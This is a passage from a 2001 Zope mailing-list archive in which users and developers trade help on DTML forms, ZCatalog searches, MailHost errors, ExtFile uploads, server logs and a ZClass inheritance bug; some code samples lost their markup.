environment and the URL are quite different things. To extend the request environment: ,)"> To extend the URL (provide you know, it has already parameters): &dtml.-URL;&=" url_quote_plus> Maybe URL:http://www.dieter.handshake.de/pyprojects/zope/book/chap3.html would be good reading for you. Dieter From dieter@handshake.de Wed May 9 20:01:06 2001 From: dieter@handshake.de (Dieter Maurer) Date: Wed, 9 May 2001 21:01:06 +0200 (CEST) Subject: [Zope] HTML forms: how to get the value of an unchecked checkbox? In-Reply-To: <628217584@toto.iv> Message-ID: <15097.37874.433808.921983@lindm.dm> Stephane Bortzmeyer writes: > On Mon, May 07, 2001 at 10:43:10AM -0400, > marc lindahl wrote > a message of 9 lines which said: > > > parameters=beverage="",sugar=0,milk=0,RESPONSE > > I already tried (it would be better to have a normal HTML form, so > that any HTML author can edit it, and to keep all Zope-specific stuff > in the Python script) but: > > SyntaxError: non-default argument follows default argument parameters=beverage="",sugar=0,milk=0,RESPONSE=None Dieter From diask8@yahoo.com.br Wed May 9 20:57:56 2001 From: diask8@yahoo.com.br (=?iso-8859-1?q?daniel=20dias?=) Date: Wed, 9 May 2001 16:57:56 -0300 (ART) Subject: [Zope] substring search in fieldindex and keywordindex Message-ID: <20010509195756.75456.qmail@web9506.mail.yahoo.com> How to make a substring search in the catalog with FieldIndex or KeywordIndex. Any ideas will be welcome. Regards, daniel »d!aS« _______________________________________________________________________________________________ Yahoo! GeoCities Tenha seu lugar na Web. Construa hoje mesmo sua home page no Yahoo! GeoCites. É fácil e grátis! http://br.geocities.yahoo.com/ From chrism@digicool.com Wed May 9 21:14:02 2001 From: chrism@digicool.com (Chris McDonough) Date: Wed, 9 May 2001 16:14:02 -0400 Subject: [Zope] Re: [ZDP] substring search in fieldindex and keywordindex References: <20010509195756.75456.qmail@web9506.mail.yahoo.com> Message-ID: <036a01c0d8c4$97567830$8e17a8c0@kurtz> This can't be done... a FieldIndex treats a value atomically, and you can't search for e.g. "foo*" or "foo?". If you need to do a "fuzzy-match" type of search, a TextIndex is more appropriate. HTH, -0 C Sent: Wednesday, May 09, 2001 3:57 PM Subject: [ZDP] substring search in fieldindex and keywordindex How to make a substring search in the catalog with FieldIndex or KeywordIndex. Any ideas will be welcome. Regards, daniel »d!aS« ____________________________________________________________________________ ___________________ Yahoo! GeoCities Tenha seu lugar na Web. Construa hoje mesmo sua home page no Yahoo! GeoCites. É fácil e grátis! http://br.geocities.yahoo.com/ _______________________________________________ ZDP maillist - ZDP@zope.org http://lists.zope.org/mailman/listinfo/zdp From simon@joyful.com Wed May 9 22:34:59 2001 From: simon@joyful.com (Simon Michael) Date: 09 May 2001 14:34:59 -0700 Subject: [Zope] [OT] subject headings/clarification References: Message-ID: <871ypy9pfg.fsf@joyful.com> Michel Pelletier writes: > We had this debate about ten years ago (internet time). The result > of that debate is obvious. Let's let dead dogs lie. Hi Michel, oops - wasn't aware this was a dog. (I might have forgotten). Naturally until I see a good counter-argument from someone I'll continue to think the current setup is broken.* It looks as if you want to squelch this thread, but it would have been nice to discuss this a little longer. We might have found out more about what the current consensus is (we had 2 for & 2 against); why people find it useful; who's decision it is one way or another; etc. >From time to time I see discussions around here which seem well within bounds of reasonable tone and topic, and which interest at least some of the list membership, which "DC" seems to feel it must stamp on. So I'll take the opportunity to ask: does DC officially frown on eg threads like this one ? -Simon * a technical term. "Not as good as it could and should be IMHO". From abg@comco-inc.com Wed May 9 22:59:31 2001 From: abg@comco-inc.com (abg@comco-inc.com) Date: Wed, 9 May 2001 16:59:31 -0500 Subject: [Zope] MailHost on Windows NT? Message-ID: I'm running Zope 2.3.2 (binary release, python 1.5.2, win32-x86) behind IIS on a WindowsNT box. Does anyone have any experience setting up MailHosts on NT? I keep getting the following error when trying to send email: Zope Error Zope has encountered an error while publishing this resource. Error Type: SMTPHeloError Error Value: (501, 'Invalid Address') It looks as though there's some sort of authentication issue between Zope and my SMTP server, which is odd considering they're on the same box. Even when I configure the SMTP server to allow all relaying, Zope can't get through. Any suggestions will be greatly appreciated. Aaron From tino@wildenhain.de Wed May 9 23:06:00 2001 From: tino@wildenhain.de (Tino Wildenhain) Date: Thu, 10 May 2001 00:06:00 +0200 Subject: [Zope] MailHost on Windows NT? In-Reply-To: References: Message-ID: <8614413.989453160@BUZZER> Hi Aaron, may be your zope does not know his own hostname? Try to set something reasonable in DNS and/or hosts file. You may also test your mailhost by hand (see rfc822 on http://www.faqs.org/ ) HTH Tino Wildenhain --On Mittwoch, 9. Mai 2001 16:59 -0500 abg@comco-inc.com wrote: > I'm running Zope 2.3.2 (binary release, python 1.5.2, win32-x86) behind > IIS on a WindowsNT box. > > Does anyone have any experience setting up MailHosts on NT? I keep getting > the following error when trying to send email: > > Zope Error > Zope has encountered an error while publishing this resource. > Error Type: SMTPHeloError > Error Value: (501, 'Invalid Address') > > It looks as though there's some sort of authentication issue between Zope > and my SMTP server, which is odd considering they're on the same box. Even > when I configure the SMTP server to allow all relaying, Zope can't get > through. > > Any suggestions will be greatly appreciated. > > Aaron > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From nitin@borwankar.com Wed May 9 23:49:21 2001 From: nitin@borwankar.com (Nitin Borwankar) Date: Wed, 09 May 2001 15:49:21 -0700 Subject: [Zope] MailHost on Windows NT? In-Reply-To: Message-ID: <5.1.0.14.0.20010509153805.02d56110@nbor.borwankar.com> Just guessing here, but it sounds like one of the following - a) you may have an inadvertent "localhost" in your configuration b) your mail configuration may be seeing host.domain.com instead of domain.com or vice-versa c) your host may have 2 different IP addresses (one internal non-routable 192.168.a.b , 10.0.c.d and one externally visible) this may be causing DNS errors. AFAIK, the error msg is saying that the SMTP server doesn't recognize the hostname you are using to address the host on which the SMTP server resides (or something closely equivalent). Nitin Borwankar President and CEO, Borwankar Research Inc. ntin@borwankar.com 510-653-8394 At 02:59 PM 5/9/01, abg@comco-inc.com wrote: >I'm running Zope 2.3.2 (binary release, python 1.5.2, win32-x86) behind IIS >on a WindowsNT box. > >Does anyone have any experience setting up MailHosts on NT? I keep getting >the following error when trying to send email: > >Zope Error >Zope has encountered an error while publishing this resource. >Error Type: SMTPHeloError >Error Value: (501, 'Invalid Address') > >It looks as though there's some sort of authentication issue between Zope >and my SMTP server, which is odd considering they're on the same box. Even >when I configure the SMTP server to allow all relaying, Zope can't get >through. > >Any suggestions will be greatly appreciated. > >Aaron > >_______________________________________________ >Zope maillist - Zope@zope.org >http://lists.zope.org/mailman/listinfo/zope >** No cross posts or HTML encoding! ** >(Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From tmoore@tembel.org Wed May 9 23:51:38 2001 From: tmoore@tembel.org (Tim Moore) Date: 09 May 2001 22:51:38 +0000 Subject: [Zope] ZCatalog & resource not found error Message-ID: <84vgnarv9h.fsf@challah.msrl.com> This python script: results = container.Catalog(meta_type='Broadcast', getStartTime=DateTime(), getStartTime_usage='range:min', sort_on='getStartTime') return results[0] produces this error when I click the 'Test' tab: Zope has encountered an error while publishing this resource. Resource not found Sorry, the requested Zope resource does not exist. Check the URL and try again. If I take the [0] part off and have it return the whole results list, I have no problems (it returns a list with two items). Weird. Any clues? (Zope 2.3.1 (binary release, python 1.5.2, win32-x86)) -- Tim Moore From alet@unice.fr Thu May 10 00:12:52 2001 From: alet@unice.fr (Jerome Alet) Date: Thu, 10 May 2001 01:12:52 +0200 Subject: [Zope] [ANN] ZShell 0.6 Message-ID: <20010510011252.A1230@nordine.ateur> Hi, ZShell 0.6 is now downloadable from: http://cortex.unice.fr/~jerome/zshell/ Thanks to Michel Pelletier and Peter Bengtsson for their help. New features: ============= - An unneeded pack doesn't throw an ugly error message anymore. - Security checks: it is now safe(r) to let everyone use zshell. Don't know if all security checks are complete and/or correct, but it's far better now than before. WARNING: no security check is done on: restart, shutdown, pack and lrole but the rest should be OK. - Multiple identical error messages are displayed once. - Some bugfixes. - Commands lsprop, delprop, addprop and setprop added. - UI changes for configurability, but still need to modify the source, but at least it's at the top of it. - The dynamically set action modifier of the form is now statically set to 'zshell', the problem many encountered probably came from that (please confirm/infirm). Please report bugs and comments at: alet@unice.fr Thanks in advance. Jerome Alet From simon@joyful.com Thu May 10 00:08:36 2001 From: simon@joyful.com (Simon Michael) Date: 09 May 2001 16:08:36 -0700 Subject: [Zope] [OT] subject headings/clarification In-Reply-To: <871ypy9pfg.fsf@joyful.com> (Simon Michael's message of "09 May 2001 14:34:59 -0700") References: <871ypy9pfg.fsf@joyful.com> Message-ID: <87snie86iz.fsf@joyful.com> Simon Michael writes: > From time to time I see discussions around here which seem well within > bounds of reasonable tone and topic, and which interest at least some > of the list membership, which "DC" seems to feel it must stamp on. PS "stamp on" isn't meant as a pejorative, nor is this message intended as criticism of anyone. I'm asking if the above perception is a mistaken one, with intent to clarify a murky issue and strengthen these lists. Thanks --SM From chrism@digicool.com Thu May 10 01:02:38 2001 From: chrism@digicool.com (Chris McDonough) Date: Wed, 09 May 2001 20:02:38 -0400 Subject: [Zope] ZCatalog & resource not found error References: <84vgnarv9h.fsf@challah.msrl.com> Message-ID: <3AF9DA9E.FC387FB6@digicool.com> The objects returned in the sequence returned from Catalog.searchResults are "brain" objects. These objects have no default representation. This may be what you're looking to do: results = container.Catalog(meta_type='Broadcast', getStartTime=DateTime(), getStartTime_usage='range:min', sort_on='getStartTime') result = results[0] return container.Catalog.getObject(result) Tim Moore wrote: > > This python script: > > > return results[0] > > produces this error when I click the 'Test' tab: > > Zope has encountered an error while publishing this resource. > > Resource not found > > Sorry, the requested Zope resource does not exist. > Check the URL and try again. > > If I take the [0] part off and have it return the whole results list, > I have no problems (it returns a list with two items). Weird. > > Any clues? (Zope 2.3.1 (binary release, python 1.5.2, win32-x86)) > -- > Tim Moore > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From tim@freepm.org Thu May 10 01:12:48 2001 From: tim@freepm.org (Tim Cook) Date: Wed, 09 May 2001 19:12:48 -0500 Subject: [Zope] Get attributes of a doc in another folder References: <005501c0d8b4$1b10e9a0$0301a8c0@provence> Message-ID: <3AF9DD00.C94B0122@iswt.com> > Gilles Lenfant wrote: > > Hi from a newbie, > > I got a dtml method at "/project" folder from which I want to > add attributes to a dtml doc at "/project/folder/adocument" > I tried to embed 2 consecutive like following but > it don't work. Did I miss something ? > > > '+nom,file='')"> > > "manage_addProperty(id='alias',value=alias,type='string')"> > > > > This adds the attribute to folder when I want it in adocument . TRY: HTH, -- Tim Cook, President - FreePM,Inc. http://www.FreePM.com Office: (731) 884-4126 ONLINE DEMO: http://www.freepm.org:8080/FreePM From scott.meilicke@intp.com Thu May 10 01:26:30 2001 From: scott.meilicke@intp.com (Meilicke, Scott) Date: Wed, 9 May 2001 17:26:30 -0700 Subject: [Zope] silly IE display question - manage screens showing 'view', not co ntents Message-ID: I'm using IE 5.5, win2k as a client, and when I enter a management screen, the right hand frame shows the 'view' of the object I select in the nav pane instead of the contents of that object. As a result, I cannot do much in zope. This works fine in netscape. Any thoughts on how to correct this? Thanks - Scott From chrism@digicool.com Thu May 10 01:47:55 2001 From: chrism@digicool.com (Chris McDonough) Date: Wed, 09 May 2001 20:47:55 -0400 Subject: [Zope] silly IE display question - manage screens showing 'view', not contents References: Message-ID: <3AF9E53B.945CA0F2@digicool.com> Hi Scott... this is a known bug in some versions of IE 5.5. Upgrade your browser to the latest IE and it will go away. "Meilicke, Scott" wrote: > > I'm using IE 5.5, win2k as a client, and when I enter a management screen, > the right hand frame shows the 'view' of the object I select in the nav pane > instead of the contents of that object. As a result, I cannot do much in > zope. This works fine in netscape. Any thoughts on how to correct this? > > Thanks - Scott > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From andym@ActiveState.com Thu May 10 06:18:46 2001 From: andym@ActiveState.com (Andy McKay) Date: Wed, 9 May 2001 22:18:46 -0700 Subject: [Zope] History of DC and/or Zope Message-ID: <000001c0d910$b9723e30$abcc4e18@cr582427a> I'm looking for any documents about the history and beginning of Zope. (Searches on Zope.org have turned up nothing so far, still searching) I'm giving an intro to Zope talk to developers and wanted to quickly cover the history of Zope / DC etc. If there any suitable talks on this topic, pointers to those would be appreciated too :) Thanks. -- Andy McKay From tim@freepm.org Thu May 10 06:36:14 2001 From: tim@freepm.org (Tim Cook) Date: Thu, 10 May 2001 00:36:14 -0500 Subject: [Zope] History of DC and/or Zope References: <000001c0d910$b9723e30$abcc4e18@cr582427a> Message-ID: <3AFA28CE.CE73A499@iswt.com> Andy McKay wrote: > > I'm looking for any documents about the history and beginning of Zope. > (Searches on Zope.org have turned up nothing so far, still searching) > > I'm giving an intro to Zope talk to developers and wanted to quickly cover > the history of Zope / DC etc. If there any suitable talks on this topic, > pointers to those would be appreciated too :) > There is: http://www.zope.org/Resources/ZopeBirth.html I'm sure Paul could provide more insight. I no longer found the document on digicool.com about the opensource decision before going public. I'm sure someone has a copy? -- Tim Cook, President - FreePM,Inc. http://www.FreePM.com Office: (731) 884-4126 ONLINE DEMO: http://www.freepm.org:8080/FreePM From adewit@niwa.cri.nz Thu May 10 06:47:23 2001 From: adewit@niwa.cri.nz (Arian de Wit) Date: Thu, 10 May 2001 17:47:23 +1200 Subject: [Zope] Newbie question: web logging Message-ID: <3AFAD3E2.1496.1F47F70@localhost> Hi All, Perhaps this is a silly question, but here it is anyway, since I couldn't readily find anything about it in the documentation. Is it possible to get ZServer to produce a web traffic log which we could then analyse in a similar fashion to standard http logs like those of Apache or IIS? Many thanks, Arian ------------------------------------------------------------------ Arian de Wit, MSc(Hons), i-Net+, MCSE Information Systems Integration Manager NIWA (National Institute of Water & Atmospheric Research) Gate 10 Silverdale Road, Box 11-115, Hamilton, New Zealand Phone (+64) 7-856 1769 Fax (+64) 7-856 0151 Web http://www.niwa.cri.nz ------------------------------------------------------------------ From cnj@finsiel.ro Thu May 10 07:25:34 2001 From: cnj@finsiel.ro (Andrei Cenja) Date: Thu, 10 May 2001 09:25:34 +0300 Subject: [Zope] Adding an ExtFile from a web page Message-ID: <5.1.0.14.2.20010510092319.00a88e08@192.168.1.254> --=====================_58536290==_.ALT Content-Type: text/plain; charset="us-ascii"; format=flowed Hello ! I'm trying to use the ExtFile product to upload files into the filesystem of the machine running Zope. I previously used manage_addFile to upload files (from a web page, not the manager) into the ZODB like this: context.manage_addProduct['OFSP'].manage_addFile(id=<>, title=<>, file=<> ) and now I would like to do something equivalent with manage_addExtFile; however, I constantly receive a key error Error Type: KeyError Error Value: standard_html_header It seems that it's not any of "my" dtml-vars, but rather my incorrect use of the ExtFile object, and being very new at this, I'm not making much out of reading the code. Could you please give me a hint on how can be a file uploaded from a web page with the ExtFile object ? Thank you ! Andrei Cenja, Bucharest, Romania. --=====================_58536290==_.ALT Content-Type: text/html; charset="us-ascii" Hello !

I'm trying to use the ExtFile product to upload files into the filesystem of the machine running Zope.

I previously used manage_addFile to upload files (from a web page, not the manager) into the ZODB like this:

context.manage_addProduct['OFSP'].manage_addFile(id=<>, title=<>, file=<> )

and now I would like to do something equivalent with manage_addExtFile; however, I constantly receive a key error

Error Type: KeyError
Error Value: standard_html_header

It seems that it's not any of "my" dtml-vars, but rather my incorrect use of the ExtFile object, and being very new at this, I'm not making much out of reading the code.

Could you please give me a hint on how can be a file uploaded from a web page with the ExtFile object ?

Thank you !

Andrei Cenja, Bucharest, Romania. --=====================_58536290==_.ALT-- From Thierry.NABETH@insead.fr Thu May 10 09:07:25 2001 From: Thierry.NABETH@insead.fr (NABETH Thierry) Date: Thu, 10 May 2001 10:07:25 +0200 Subject: [Zope] Will the inheritance relationship will be preserved af ter export/import? Message-ID: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C0D928.3FDC1100 Content-Type: text/plain; charset="iso-8859-1" Hello Iap, >> The interitance relationship seems broken after export/import between different ZODB. Following is the message I have posted about this bug in January. I have mentioned already this bug several time, but until now I seemed to be the only one that care about this bug. (which makes me ask question about how much or how little the Zope community is using object orientation and inheritance with the Dtml language). I have personally stopped all design on the Zope platform (which I find some concept very interesting), and am concentrating my effort on Java/servlets because of this bug. I hope you find some way to solve your problems. Bye, Thierry -----Original Message----- From: Thierry Nabeth [mailto:Thierry.Nabeth@insead.fr] Sent: Saturday, January 06, 2001 10:46 PM To: zope@zope.org Cc: Thierry Nabeth Subject: Serious BUG in Export. ==> pb of lost inheritance if export / reimport. Hello, I would like to mention a very serious bug (for me), that prevent to use inheritance between two classes defined in two different package, if you have to export and reimport those packages. In a previous mail I mentionned a problem of Inheritance lost between packages. I spent a lot of time investigating the problem, and in particular looking in the export file (xml version). First here is the test: Phase 1: create the products and the classes. Create a product PA Create a class A in the product PA. Create a method "test" in class A. (this method display "before"). Create a product PB Create a class B in the product PB which inherits from A. Create an instance a of A. Create an instance b of B. Phase 2: test the inheritance. ==> everything works fine Executing the method "test" on those two instances return. a.test ==> "before" b.test ==> "before" The result is correct. Phase 3: export / reimport product PB, and modify methode "test". Export the product PB. (PB.zexp is generated) Delete the product PB and restart zope. Import the product PB (PB.zexp) and restart zope. Modify the method "test" in class A.. (this method display "after"). Phase 4: test the inheritance. ==> B does not work correctly. Executing the method "test" on those two instances return. a.test ==> "after" b.test ==> "before" ####### this is incorect. !!!!!! I spent a lot of time investing this problem, in particular looking in the xml export file. The problem is that when you export PB, the exported file also contain the definition of class A. When you re-import PB, B inherits from a class A that is different from the class A that is in the product PA. You have a kind of Zombie class A. (note: reimporting class A doesn't solve the problem). If someone has some idea how to fix this bug which almost forbid the use of inheritance between products in zope (unless you have a master server that never import anything) ?! Thierry Nabeth Research Fellow, INSEAD CALT (The Centre for Advanced Learning Technologies) http://www.insead.edu/CALT/ Thierry.Nabeth@insead.fr ------_=_NextPart_001_01C0D928.3FDC1100 Content-Type: text/html; charset="iso-8859-1" RE: [Zope] Will the inheritance relationship will be preserved after export/import?

Hello Iap,

>> The interitance relationship seems broken after export/import
between different ZODB.

Following is the message I have posted about this bug in January.
I have mentioned already this bug several time, but until now I seemed
to be the only one that care about this bug. (which makes me ask question
about how much or how little the Zope community is using object orientation
and inheritance with the Dtml language).

I have personally stopped all design on the Zope platform (which I find
some concept very interesting), and am concentrating my effort on Java/servlets
because of this bug.

I hope you find some way to solve your problems.

Bye,

Thierry

-----Original Message-----
From: Thierry Nabeth [mailto:Thierry.Nabeth@insead.fr]
Sent: Saturday, January 06, 2001 10:46 PM
To: zope@zope.org
Cc: Thierry Nabeth
Subject: Serious BUG in Export. ==> pb of lost inheritance if export /
reimport.


Hello,

I would like to mention a very serious bug (for me), that prevent to use
inheritance between two classes defined in two different package, if
you have to export and reimport those packages.

In a previous mail I mentionned a problem of Inheritance lost between
packages.

I spent a lot of time investigating the problem, and in particular looking
in the
export file (xml version).

First here is the test:

Phase 1: create the products and the classes.

Create a product PA
Create a class A in the product PA.
Create a method "test" in class A.  (this method display "before").

Create a product PB
Create a class B in the product PB which inherits from A.

Create an instance a of A.
Create an instance b of B.

Phase 2: test the inheritance.  ==> everything works fine

Executing the method "test" on those two instances return.
a.test  ==> "before"
b.test  ==> "before"
The result is correct.

Phase 3: export / reimport product PB, and modify methode "test".

Export the product PB. (PB.zexp is generated)
Delete the product PB and restart zope.
Import the product PB (PB.zexp) and restart zope.

Modify the method "test" in class A..  (this method display "after").

Phase 4: test the inheritance.  ==> B does not work correctly.

Executing the method "test" on those two instances return.
a.test  ==> "after"
b.test  ==> "before"      ####### this is incorect. !!!!!!


I spent a lot of time investing this problem, in particular looking
in the xml export file.
The problem is that when you export PB, the exported file also
contain the definition of class A.
When you re-import PB, B inherits from a class A that is different
from the class A that is in the product PA.
You have a kind of Zombie class A.
(note: reimporting class A doesn't solve the problem).

If someone has some idea how to fix this bug which almost forbid
the use of inheritance between products in zope (unless you have a
master server that never import anything) ?!

Thierry Nabeth
Research Fellow,
INSEAD CALT (The Centre for Advanced Learning Technologies)
http://www.insead.edu/CALT/
Thierry.Nabeth@insead.fr


------_=_NextPart_001_01C0D928.3FDC1100-- From kosh@aesaeion.com Thu May 10 02:17:02 2001 From: kosh@aesaeion.com (kosh@aesaeion.com) Date: Thu, 10 May 2001 01:17:02 +0000 (UTC) Subject: [Zope] Will the inheritance relationship will be preserved af ter export/import? In-Reply-To: Message-ID: Are you using zclasses or python products? I have not seen this behavior with python products. If you are using zclasses then you should expect this kind of thing. Zclasses are not robust solutions they mostly seem designed for trivial solutions by largely non programmers. On Thu, 10 May 2001, NABETH Thierry wrote: > Hello Iap, > > >> The interitance relationship seems broken after export/import > between different ZODB. > > Following is the message I have posted about this bug in January. > I have mentioned already this bug several time, but until now I seemed > to be the only one that care about this bug. (which makes me ask question > about how much or how little the Zope community is using object orientation > and inheritance with the Dtml language). > > I have personally stopped all design on the Zope platform (which I find > some concept very interesting), and am concentrating my effort on > Java/servlets > because of this bug. > > I hope you find some way to solve your problems. > > Bye, > > Thierry > > -----Original Message----- > From: Thierry Nabeth [mailto:Thierry.Nabeth@insead.fr] > Sent: Saturday, January 06, 2001 10:46 PM > To: zope@zope.org > Cc: Thierry Nabeth > Subject: Serious BUG in Export. ==> pb of lost inheritance if export / > reimport. > > > Hello, > > I would like to mention a very serious bug (for me), that prevent to use > inheritance between two classes defined in two different package, if > you have to export and reimport those packages. > > In a previous mail I mentionned a problem of Inheritance lost between > packages. > > I spent a lot of time investigating the problem, and in particular looking > in the > export file (xml version). > > First here is the test: > > Phase 1: create the products and the classes. > > Create a product PA > Create a class A in the product PA. > Create a method "test" in class A. (this method display "before"). > > Create a product PB > Create a class B in the product PB which inherits from A. > > Create an instance a of A. > Create an instance b of B. > > Phase 2: test the inheritance. ==> everything works fine > > Executing the method "test" on those two instances return. > a.test ==> "before" > b.test ==> "before" > The result is correct. > > Phase 3: export / reimport product PB, and modify methode "test". > > Export the product PB. (PB.zexp is generated) > Delete the product PB and restart zope. > Import the product PB (PB.zexp) and restart zope. > > Modify the method "test" in class A.. (this method display "after"). > > Phase 4: test the inheritance. ==> B does not work correctly. > > Executing the method "test" on those two instances return. > a.test ==> "after" > b.test ==> "before" ####### this is incorect. !!!!!! > > > I spent a lot of time investing this problem, in particular looking > in the xml export file. > The problem is that when you export PB, the exported file also > contain the definition of class A. > When you re-import PB, B inherits from a class A that is different > from the class A that is in the product PA. > You have a kind of Zombie class A. > (note: reimporting class A doesn't solve the problem). > > If someone has some idea how to fix this bug which almost forbid > the use of inheritance between products in zope (unless you have a > master server that never import anything) ?! > > Thierry Nabeth > Research Fellow, > INSEAD CALT (The Centre for Advanced Learning Technologies) > http://www.insead.edu/CALT/ > Thierry.Nabeth@insead.fr > > > From chrisw@nipltd.com Thu May 10 09:47:06 2001 From: chrisw@nipltd.com (Chris Withers) Date: Thu, 10 May 2001 09:47:06 +0100 Subject: [Zope] Re: [ZDP] substring search in fieldindex and keywordindex References: <20010509195756.75456.qmail@web9506.mail.yahoo.com> <036a01c0d8c4$97567830$8e17a8c0@kurtz> Message-ID: <3AFA558A.53212FC0@nipltd.com> Chris McDonough wrote: > > This can't be done... a FieldIndex treats a value atomically, and you can't > search for e.g. "foo*" or "foo?". If you need to do a "fuzzy-match" type of > search, a TextIndex is more appropriate. Although the defautl splitter will thwart things for you :-) *grinz* Chris From chrisw@nipltd.com Thu May 10 09:48:41 2001 From: chrisw@nipltd.com (Chris Withers) Date: Thu, 10 May 2001 09:48:41 +0100 Subject: [Zope] silly IE display question - manage screens showing 'view', not contents References: <3AF9E53B.945CA0F2@digicool.com> Message-ID: <3AFA55E9.1002685D@nipltd.com> Chris McDonough wrote: > > Hi Scott... this is a known bug in some versions of IE 5.5. Upgrade > your browser to the latest IE and it will go away. Someone here is still having this problem with the latest-and-greatest IE Sp2 :-( Chris (the web is dead, long live the OODB and a dedicated fat client ;-) From arno.gross@consotec.de Thu May 10 10:49:19 2001 From: arno.gross@consotec.de (Arno Gross) Date: Thu, 10 May 2001 08:49:19 -0100 Subject: [Zope] Adding an ExtFile from a web page In-Reply-To: <5.1.0.14.2.20010510092319.00a88e08@192.168.1.254> References: <5.1.0.14.2.20010510092319.00a88e08@192.168.1.254> Message-ID: <01051008532000.13323@force> I used only ExtImage with the following snippet: For adding an ExtFile object you have to use: manage_addExtFile(self, id='', title='', descr='', file='', content_type='', permission_check=0, REQUEST=None) Best regards Arno On Thu, 10 May 2001, Andrei Cenja wrote: > > Hello ! > > I'm trying to use the ExtFile product to upload files into the filesystem > of the machine running Zope. > > I previously used manage_addFile to upload files (from a web page, not the > manager) into the ZODB like this: > > context.manage_addProduct['OFSP'].manage_addFile(id=<>, title=<>, file=<> ) > > and now I would like to do something equivalent with manage_addExtFile; > however, I constantly receive a key error > > Error Type: KeyError > Error Value: standard_html_header > > It seems that it's not any of "my" dtml-vars, but rather my incorrect use > of the ExtFile object, and being very new at this, I'm not making much out > of reading the code. > > Could you please give me a hint on how can be a file uploaded from a web > page with the ExtFile object ? > > Thank you ! > > Andrei Cenja, Bucharest, Romania. ---------------------------------------- Content-Type: text/html; name="unnamed" Content-Transfer-Encoding: 7bit Content-Description: ---------------------------------------- From bz@bwanazulia.com Thu May 10 10:27:12 2001 From: bz@bwanazulia.com (BZ) Date: Thu, 10 May 2001 05:27:12 -0400 Subject: [Zope] Newbie question: web logging In-Reply-To: <3AFAD3E2.1496.1F47F70@localhost> References: <3AFAD3E2.1496.1F47F70@localhost> Message-ID: It does. Look in the var/ directory at the file called "Z2.log" Chock-full-o-logs BZ At 5:47 PM +1200 5/10/01, Arian de Wit wrote: >Hi All, > >Perhaps this is a silly question, but here it is anyway, since I >couldn't readily find anything about it in the documentation. > >Is it possible to get ZServer to produce a web traffic log which we >could then analyse in a similar fashion to standard http logs like >those of Apache or IIS? > > >Many thanks, > >Arian From fritz.mesedilla@summitmedia.com.ph Thu May 10 10:49:35 2001 From: fritz.mesedilla@summitmedia.com.ph (Fritz Mesedilla) Date: Thu, 10 May 2001 17:49:35 +0800 Subject: [Zope] zeo problem Message-ID: help! how come one of our zeo client keeps on trying to connect to the zeo server even after it has connected already? this just happens after a half-day of running without restarts. Fritz Mesedilla Systems Administrator Summit Interactive, Inc. FHM | Seventeen | Candy | Cosmopolitan | Preview | Good Housekeeping femalenetwork.com | candymag.com | fhm.com.ph | cosmo.com.ph ---------------------------------------------------------------------------- http://contemplation401.tripod.com +Basta Ikaw Lord From nika@kassube.de Wed May 9 19:42:55 2001 From: nika@kassube.de (Nils Kassube) Date: Wed, 9 May 2001 20:42:55 +0200 Subject: [Zope] HTML forms: how to get the value of an unchecked checkbox? In-Reply-To: <20010508221003.B30015@internatif.org>; from bortzmeyer@netaktiv.com on Tue, May 08, 2001 at 10:10:03PM +0200 References: <20010507154837.A11871@internatif.org> <008401c0d701$2e7ac1f0$38a3f1ce@mitretek.org> <20010507163113.B13607@internatif.org> <004801c0d7c8$385e5070$38a3f1ce@mitretek.org> <20010508221003.B30015@internatif.org> Message-ID: <20010509204255.B25654@kursk.kassube.de> * Stephane Bortzmeyer [2001-05-08 22:10]: > OK, the examples in the Zope Book (is there a better source of > information?) do not mention it, they use parameters of the script. In the final edition of the Zope Book, you can read this on page 127 (Chapter 8, "Advanced Zope Scripting"): |In addition to form variables, you can specify any request variables as |script parameters. For example, to get access to the request and |response objects just include REQUEST and RESPONSE in your list of |parameters. Request variables are detailed more fully in Appendix B. > ##bind namespace=REQUEST It's probably a bad idea to call the DTML namespace "REQUEST", because... > ##bind script=script > ##bind subpath=traverse_subpath > ##parameters=beverage,RESPONSE,REQUEST ... your REQUEST is coming from here. Obviously you are not using the DTML name space object in your Python Script because it's overwritten (Correct English?) by your parameter with the same name. So you can leave the namespace line empty. Cheers, Nils From gitte@mmmanager.org Wed May 9 12:21:05 2001 From: gitte@mmmanager.org (Gitte Wange) Date: Wed, 9 May 2001 13:21:05 +0200 Subject: [Zope] Some mathematical problems ... Message-ID: <01050913210502.02657@squidbitch.mmmanager.org> Hello ... I don't know if I can explain it clear enough but here goes: I am trying to update to values in a database. The values are a priority number, used to sort a list by. My code looks like this: The id-variable and the priority-variable comes from another sql-query and works just fine. The ServerNetid-variable and the oldpriority-variable are passed from a form. Now when this script is called it updates the record that comes from the other sql-query, but not the record that comes from the form (the best explanation I can come up with). So I guess it is because the oldpriority=_.int(REQUEST.oldpriority)-1) doesn't work. The values (before the -statement is: id=1 priority=1 ServerNetid=2 oldpriority=2 When the script has been called the values are: id=1 priority=2 ServerNetid=2 priority=2 (and this should be 1) Anyone with a good idea ?? Regards, -- ************************ Gitte Wange Jensen System Squid Developer MMManager Aps +45 29 72 79 72 gitte@mmmanager.org ************************ From gitte@mmmanager.org Thu May 10 09:24:43 2001 From: gitte@mmmanager.org (Gitte Wange) Date: Thu, 10 May 2001 10:24:43 +0200 Subject: [Zope] Some mathematical problems ... Message-ID: <01050913210502.02657@squidbitch.mmmanager.org> Hello ... I don't know if I can explain it clear enough but here goes: I am trying to update to values in a database. The values are a priority number, used to sort a list by. My code looks like this: The id-variable and the priority-variable comes from another sql-query and works just fine. The ServerNetid-variable and the oldpriority-variable are passed from a form. Now when this script is called it updates the record that comes from the other sql-query, but not the record that comes from the form (the best explanation I can come up with). So I guess it is because the oldpriority=_.int(REQUEST.oldpriority)-1) doesn't work. The values (before the -statement is: id=1 priority=1 